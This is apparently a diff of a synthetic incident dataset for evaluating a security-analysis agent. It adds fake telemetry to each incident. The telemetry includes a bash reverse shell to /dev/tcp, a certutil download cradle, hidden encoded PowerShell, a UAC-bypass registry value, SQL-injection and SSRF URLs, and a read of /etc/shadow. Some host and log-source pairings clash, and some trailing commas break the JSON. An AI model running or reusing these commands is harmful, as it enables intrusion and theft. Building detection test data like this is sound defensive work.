+ suffix = "..." if fail_count > 5 else ""
+ print(f" regressions: {failing}{suffix}")
+ print("-" * 78)
+ tele = summary["telemetry"]
+ if tele.get("present"):
+ print(
+ f" Synthetic telemetry: {tele['events']} events across "
+ f"{len(tele['sources'])} sources, "
+ f"{tele['incidents_with_telemetry']} incidents wired up "
+ f"({tele['path']})"
+ )
+ else:
+ print(" Synthetic telemetry: <not generated>")
+ print("=" * 78)
verdict = "ALL GATES PASSED" if summary["all_passed"] else "REGRESSION DETECTED"
print(f" {verdict}")
try:
diff --git a/services/agents/tests/eval_data/synthetic_incidents.json b/services/agents/tests/eval_data/synthetic_incidents.json
index 84fe83a3d..6dc72faa9 100644
--- a/services/agents/tests/eval_data/synthetic_incidents.json
+++ b/services/agents/tests/eval_data/synthetic_incidents.json
@@ -1,8 +1,10 @@
[
{
"id": "INC-EVAL-001",
- "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
- "description": "Inbound email from 192.168.1.100 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known LockBit 3.0 infrastructure.",
+ "template_id": "phishing-macro-email",
+ "template_index": 0,
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 45.142.122.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -16,16 +18,50 @@
"evidence_keywords": [
"phishing email",
"macro",
- "192.168.1.100",
+ "45.142.122.111",
"WIN-DC-PRIMARY",
"stage-2 payload"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "45.142.122.111",
+ "Subject": "Q4 invoice (action required)",
+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
]
},
{
"id": "INC-EVAL-002",
- "title": "Exploitation of public-facing web app on WIN-DEVOPS-LT",
- "description": "WAF logs show SQL-injection and SSRF probes from 91.134.231.15 against the application on WIN-DEVOPS-LT. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "template_id": "webapp-sqli-ssrf-exploit",
+ "template_index": 1,
+ "title": "Exploitation of public-facing web app on LIN-BUILD-CI03",
+ "description": "WAF logs show SQL-injection and SSRF probes from 172.16.50.7 against the application on LIN-BUILD-CI03. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
"expected_tactics": [
"TA0001",
"TA0007"
@@ -41,14 +77,37 @@
"SQL injection",
"SSRF",
"CVE-2024-1234",
- "WIN-DEVOPS-LT",
- "91.134.231.15"
+ "LIN-BUILD-CI03",
+ "172.16.50.7"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://LIN-BUILD-CI03/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://LIN-BUILD-CI03/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
]
},
{
"id": "INC-EVAL-003",
- "title": "Watering-hole exploit served from internal Confluence by 192.168.1.100",
- "description": "Internal Confluence page injected with malicious JavaScript by 192.168.1.100. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MosaicRegressor TTPs.",
+ "template_id": "confluence-watering-hole",
+ "template_index": 2,
+ "title": "Watering-hole exploit served from internal Confluence by 203.0.113.45",
+ "description": "Internal Confluence page injected with malicious JavaScript by 203.0.113.45. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to Lazarus TTPs.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -63,15 +122,36 @@
"watering hole",
"drive-by",
"Confluence",
- "192.168.1.100",
- "MosaicRegressor"
+ "203.0.113.45",
+ "Lazarus"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "203.0.113.45",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//203.0.113.45/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
]
},
{
"id": "INC-EVAL-004",
- "title": "Supply-chain compromise: malicious npm package on GCP-GKE-NODE-04",
- "description": "CI pipeline on GCP-GKE-NODE-04 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 203.0.113.45. Build artefacts may be tainted.",
+ "template_id": "npm-supply-chain",
+ "template_index": 3,
+ "title": "Supply-chain compromise: malicious npm package on WIN-DC-PRIMARY",
+ "description": "CI pipeline on WIN-DC-PRIMARY installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 198.51.100.23. Build artefacts may be tainted.",
"expected_tactics": [
"TA0001",
"TA0002"
@@ -87,14 +167,46 @@
"npm package",
"event-stream",
"post-install",
- "GCP-GKE-NODE-04",
- "203.0.113.45"
+ "WIN-DC-PRIMARY",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "WIN-DC-PRIMARY",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "ci-runner",
+ "dest_ip": "198.51.100.23",
+ "dest_port": 4444
+ }
]
},
{
"id": "INC-EVAL-005",
- "title": "Malicious USB autorun on air-gapped host AZURE-VM-FIN-001",
- "description": "USB device inserted on air-gapped AZURE-VM-FIN-001 by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "template_id": "usb-autorun-airgap",
+ "template_index": 4,
+ "title": "Malicious USB autorun on air-gapped host WIN-DEVOPS-LT",
+ "description": "USB device inserted on air-gapped WIN-DEVOPS-LT by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
"expected_tactics": [
"TA0001",
"TA0009"
@@ -109,15 +221,40 @@
"USB",
"autorun",
"air-gapped",
- "AZURE-VM-FIN-001",
+ "WIN-DEVOPS-LT",
"Python stager"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "WIN-DEVOPS-LT",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DEVOPS-LT",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
]
},
{
"id": "INC-EVAL-006",
- "title": "OAuth consent phishing targeting [email protected]",
- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 185.220.101.7.",
+ "template_id": "oauth-consent-phish",
+ "template_index": 5,
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -132,15 +269,42 @@
"OAuth consent",
"Mail.Read",
"Files.Read.All",
- "185.220.101.7",
+ "91.134.231.15",
"forwarding rule"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
]
},
{
"id": "INC-EVAL-007",
- "title": "Obfuscated PowerShell dropper executed on WIN-HR-DESKTOP",
- "description": "PowerShell dropper executed on WIN-HR-DESKTOP by [email protected]; payload base64-encoded and decoded in-memory. Linked to ALPHV/BlackCat ransomware staging.",
+ "template_id": "powershell-obfuscated-dropper",
+ "template_index": 6,
+ "title": "Obfuscated PowerShell dropper executed on LIN-OBS-LOGGER",
+ "description": "PowerShell dropper executed on LIN-OBS-LOGGER by [email protected]; payload base64-encoded and decoded in-memory. Linked to MagicWeb ransomware staging.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -155,15 +319,40 @@
"powershell",
"obfuscated",
"base64",
- "WIN-HR-DESKTOP",
- "ALPHV/BlackCat"
+ "LIN-OBS-LOGGER",
+ "MagicWeb"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "MagicWeb"
+ }
]
},
{
"id": "INC-EVAL-008",
- "title": "Living-off-the-land: certutil download cradle on GCP-GKE-NODE-04",
- "description": "certutil.exe -urlcache invoked from cmd.exe on GCP-GKE-NODE-04. cmd.exe was spawned by outlook.exe. Payload downloaded from 203.0.113.45.",
+ "template_id": "certutil-download-cradle",
+ "template_index": 7,
+ "title": "Living-off-the-land: certutil download cradle on AWS-EC2-PROD-API",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on AWS-EC2-PROD-API. cmd.exe was spawned by outlook.exe. Payload downloaded from 172.16.50.7.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -178,15 +367,40 @@
"certutil",
"urlcache",
"outlook.exe",
- "GCP-GKE-NODE-04",
- "203.0.113.45",
+ "AWS-EC2-PROD-API",
+ "172.16.50.7",
"download cradle"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://172.16.50.7/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "172.16.50.7",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
]
},
{
"id": "INC-EVAL-009",
- "title": "Container runtime abuse: malicious `docker run` on LIN-BUILD-CI03",
- "description": "Unauthenticated Docker API on LIN-BUILD-CI03 exploited from 45.142.122.111. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "template_id": "docker-runtime-abuse",
+ "template_index": 8,
+ "title": "Container runtime abuse: malicious `docker run` on LIN-EDGE-VPN02",
+ "description": "Unauthenticated Docker API on LIN-EDGE-VPN02 exploited from 198.51.100.23. Container with cryptominer spawned. CPU on host saturated to 95%.",
"expected_tactics": [
"TA0002",
"TA0001",
@@ -204,14 +418,42 @@
"container",
"cryptominer",
"miner",
- "LIN-BUILD-CI03",
- "45.142.122.111"
+ "LIN-EDGE-VPN02",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://LIN-EDGE-VPN02:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "198.51.100.23",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "LIN-EDGE-VPN02",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-010",
- "title": "Malicious WMI subscription on MAC-CFO-LAPTOP",
- "description": "Permanent WMI event subscription created on MAC-CFO-LAPTOP by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "template_id": "wmi-event-subscription",
+ "template_index": 9,
+ "title": "Malicious WMI subscription on AZURE-VM-FIN-001",
+ "description": "Permanent WMI event subscription created on AZURE-VM-FIN-001 by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
"expected_tactics": [
"TA0002",
"TA0003"
@@ -226,15 +468,41 @@
"WMI",
"subscription",
"permanent",
- "MAC-CFO-LAPTOP",
+ "AZURE-VM-FIN-001",
"encoded script"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "AZURE-VM-FIN-001",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "AZURE-VM-FIN-001",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
]
},
{
"id": "INC-EVAL-011",
- "title": "Registry Run key persistence created by [email protected] on WIN-DC-SECONDARY",
- "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on WIN-DC-SECONDARY. Points to roaming binary signed with revoked cert. Linked to Emotet epoch 5.",
+ "template_id": "registry-run-persistence",
+ "template_index": 10,
+ "title": "Registry Run key persistence created by [email protected] on AWS-EC2-PROD-API",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on AWS-EC2-PROD-API. Points to roaming binary signed with revoked cert. Linked to Volt Typhoon.",
"expected_tactics": [
"TA0003"
],
@@ -247,15 +515,38 @@
"registry run",
"persistence",
"revoked cert",
- "WIN-DC-SECONDARY",
- "Emotet epoch 5"
+ "AWS-EC2-PROD-API",
+ "Volt Typhoon"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "threat_actor": "Volt Typhoon"
+ }
]
},
{
"id": "INC-EVAL-012",
- "title": "Scheduled task persistence on WIN-DEVOPS-LT",
- "description": "Hidden scheduled task created on WIN-DEVOPS-LT by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "template_id": "scheduled-task-persistence",
+ "template_index": 11,
+ "title": "Scheduled task persistence on GCP-GKE-NODE-04",
+ "description": "Hidden scheduled task created on GCP-GKE-NODE-04 by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
"expected_tactics": [
"TA0003"
],
@@ -268,14 +559,39 @@
"scheduled task",
"persistence",
"APPDATA",
- "WIN-DEVOPS-LT",
+ "GCP-GKE-NODE-04",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "GCP-GKE-NODE-04",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-013",
- "title": "Firmware implant detected on UEFI partition of GCP-GKE-NODE-04",
- "description": "UEFI secure-boot violation on GCP-GKE-NODE-04. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "template_id": "uefi-firmware-implant",
+ "template_index": 12,
+ "title": "Firmware implant detected on UEFI partition of WIN-FIN-DB01",
+ "description": "UEFI secure-boot violation on WIN-FIN-DB01. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
"expected_tactics": [
"TA0003",
"TA0005"
@@ -291,14 +607,34 @@
"firmware",
"implant",
"secure boot",
- "GCP-GKE-NODE-04",
+ "WIN-FIN-DB01",
"MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "WIN-FIN-DB01",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "WIN-FIN-DB01",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
]
},
{
"id": "INC-EVAL-014",
- "title": "Backdoor cron job installed on WIN-DEVOPS-LT",
- "description": "/etc/cron.d entry created by [email protected] on WIN-DEVOPS-LT. Reverse shell beacon to 10.0.99.42 every 5 minutes.",
+ "template_id": "cron-backdoor",
+ "template_index": 13,
+ "title": "Backdoor cron job installed on WIN-HR-DESKTOP",
+ "description": "/etc/cron.d entry created by [email protected] on WIN-HR-DESKTOP. Reverse shell beacon to 203.0.113.45 every 5 minutes.",
"expected_tactics": [
"TA0003",
"TA0011"
@@ -313,15 +649,35 @@
"cron",
"backdoor",
"reverse shell",
- "WIN-DEVOPS-LT",
- "10.0.99.42"
+ "WIN-HR-DESKTOP",
+ "203.0.113.45"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "WIN-HR-DESKTOP",
+ "user": "[email protected]",
+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/203.0.113.45/4444 0>&1)",
+ "hostname": "WIN-HR-DESKTOP"
+ }
]
},
{
"id": "INC-EVAL-015",
- "title": "UAC bypass observed on GCP-GKE-NODE-04",
- "description": "fodhelper.exe abuse on GCP-GKE-NODE-04 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "template_id": "uac-bypass-fodhelper",
+ "template_index": 14,
+ "title": "UAC bypass observed on MAC-LEGAL-LAPTOP",
+ "description": "fodhelper.exe abuse on MAC-LEGAL-LAPTOP by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
"expected_tactics": [
"TA0004",
"TA0005"
@@ -335,15 +691,41 @@
"UAC",
"fodhelper",
"auto-elevation",
- "GCP-GKE-NODE-04",
+ "MAC-LEGAL-LAPTOP",
"SYSTEM"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
]
},
{
"id": "INC-EVAL-016",
- "title": "Container escape via privileged pod on MAC-LEGAL-LAPTOP",
- "description": "Kubernetes privileged pod created on MAC-LEGAL-LAPTOP by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "template_id": "k8s-privileged-pod-escape",
+ "template_index": 15,
+ "title": "Container escape via privileged pod on K8S-PROD-CLUSTER",
+ "description": "Kubernetes privileged pod created on K8S-PROD-CLUSTER by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
"expected_tactics": [
"TA0004",
"TA0007"
@@ -359,14 +741,58 @@
"privileged pod",
"container escape",
"cgroup",
- "MAC-LEGAL-LAPTOP",
+ "K8S-PROD-CLUSTER",
+ ],
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "K8S-PROD-CLUSTER"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "K8S-PROD-CLUSTER",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-017",
+ "template_id": "linux-suid-abuse",
+ "template_index": 16,
"title": "Linux SUID binary abuse on LIN-DB-REPLICA",
- "description": "Custom SUID binary discovered in /tmp on LIN-DB-REPLICA; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "description": "Custom SUID binary discovered in /tmp on LIN-DB-REPLICA; allows arbitrary command execution as root. Likely escalation by [email protected].",
"expected_tactics": [
"TA0004"
],
@@ -380,13 +806,37 @@
"/tmp",
"root escalation",
"LIN-DB-REPLICA",
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "LIN-DB-REPLICA",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "LIN-DB-REPLICA",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-018",
- "title": "Memory-only fileless implant in svchost on WIN-HR-DESKTOP",
- "description": "Process hollowing detected on WIN-HR-DESKTOP: svchost.exe replaced with Cobalt Strike beacon to 203.0.113.45. No disk artefacts. Linked to Lazarus.",
+ "template_id": "process-hollowing-svchost",
+ "template_index": 17,
+ "title": "Memory-only fileless implant in svchost on MAC-CFO-LAPTOP",
+ "description": "Process hollowing detected on MAC-CFO-LAPTOP: svchost.exe replaced with Cobalt Strike beacon to 10.0.99.42. No disk artefacts. Linked to Scattered Spider.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -402,14 +852,48 @@
"fileless",
"svchost",
"Cobalt Strike",
- "WIN-HR-DESKTOP",
- "203.0.113.45"
+ "MAC-CFO-LAPTOP",
+ "10.0.99.42"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "MAC-CFO-LAPTOP",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "MAC-CFO-LAPTOP",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "10.0.99.42",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "MAC-CFO-LAPTOP",
+ "threat_actor": "Scattered Spider"
+ }
]
},
{
"id": "INC-EVAL-019",
- "title": "Indicator removal: Windows event log cleared on WIN-PROD-WEB02",
- "description": "Security event log cleared on WIN-PROD-WEB02 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "template_id": "event-log-cleared",
+ "template_index": 18,
+ "title": "Indicator removal: Windows event log cleared on LIN-EDGE-VPN02",
+ "description": "Security event log cleared on LIN-EDGE-VPN02 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
"expected_tactics": [
"TA0005"
],
@@ -422,14 +906,38 @@
"wevtutil",
"log cleared",
"indicator removal",
- "WIN-PROD-WEB02",
+ "LIN-EDGE-VPN02",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "LIN-EDGE-VPN02",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
]
},
{
"id": "INC-EVAL-020",
- "title": "Disable security tooling on WIN-PROD-WEB02",
- "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on WIN-PROD-WEB02. Tampering telemetry triggered alert.",
+ "template_id": "disable-edr-tooling",
+ "template_index": 19,
+ "title": "Disable security tooling on GCP-GKE-NODE-04",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on GCP-GKE-NODE-04. Tampering telemetry triggered alert.",
"expected_tactics": [
"TA0005"
],
@@ -443,14 +951,45 @@
"crowdstrike",
"sysmon",
"tampering",
- "WIN-PROD-WEB02",
+ "GCP-GKE-NODE-04",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
